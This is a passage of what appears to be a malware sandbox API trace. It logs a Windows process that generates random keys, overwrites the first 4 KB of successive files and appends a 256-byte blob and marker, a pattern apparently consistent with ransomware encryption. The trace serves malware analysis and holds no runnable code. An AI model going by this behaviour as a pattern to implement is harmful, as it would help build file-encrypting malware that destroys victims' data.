0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.845] GetProcessHeap () returned 0x540000 [0079.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.846] GetProcessHeap () returned 0x540000 [0079.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.847] GetProcessHeap () returned 0x540000 [0079.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.848] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.848] WriteFile (in: hFile=0x78c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.848] WriteFile (in: hFile=0x78c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.848] GetProcessHeap () returned 0x540000 [0079.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.848] CloseHandle (hObject=0x78c) returned 1 [0079.851] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 20 [0079.851] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] ReadFile (in: hFile=0x7a0, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.851] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] GetProcessHeap () returned 0x540000 [0079.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.852] GetProcessHeap () returned 0x540000 [0079.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.852] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.852] GetProcessHeap () returned 0x540000 [0079.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.852] ReadFile (in: hFile=0x7a0, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.924] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.924] WriteFile (in: hFile=0x7a0, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.924] GetProcessHeap () returned 0x540000 [0079.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.924] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.925] GetProcessHeap () returned 0x540000 [0079.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.926] GetProcessHeap () returned 0x540000 [0079.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.927] GetProcessHeap () returned 0x540000 [0079.927] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.927] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.928] GetProcessHeap () returned 0x540000 [0079.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.928] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.929] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.929] WriteFile (in: hFile=0x7a0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.929] WriteFile (in: hFile=0x7a0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.929] GetProcessHeap () returned 0x540000 [0079.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.929] CloseHandle (hObject=0x7a0) returned 1 [0079.993] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 21 [0079.993] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.993] ReadFile (in: hFile=0x7cc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.993] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.993] GetProcessHeap () returned 0x540000 [0079.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.993] GetProcessHeap () returned 0x540000 [0079.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.993] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.993] GetProcessHeap () returned 0x540000 [0079.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.993] ReadFile (in: hFile=0x7cc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.044] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.044] WriteFile (in: hFile=0x7cc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.044] GetProcessHeap () returned 0x540000 [0080.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.044] GetProcessHeap () returned 0x540000 [0080.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.044] GetProcessHeap () returned 0x540000 [0080.045] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.045] GetProcessHeap () returned 0x540000 [0080.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.045] 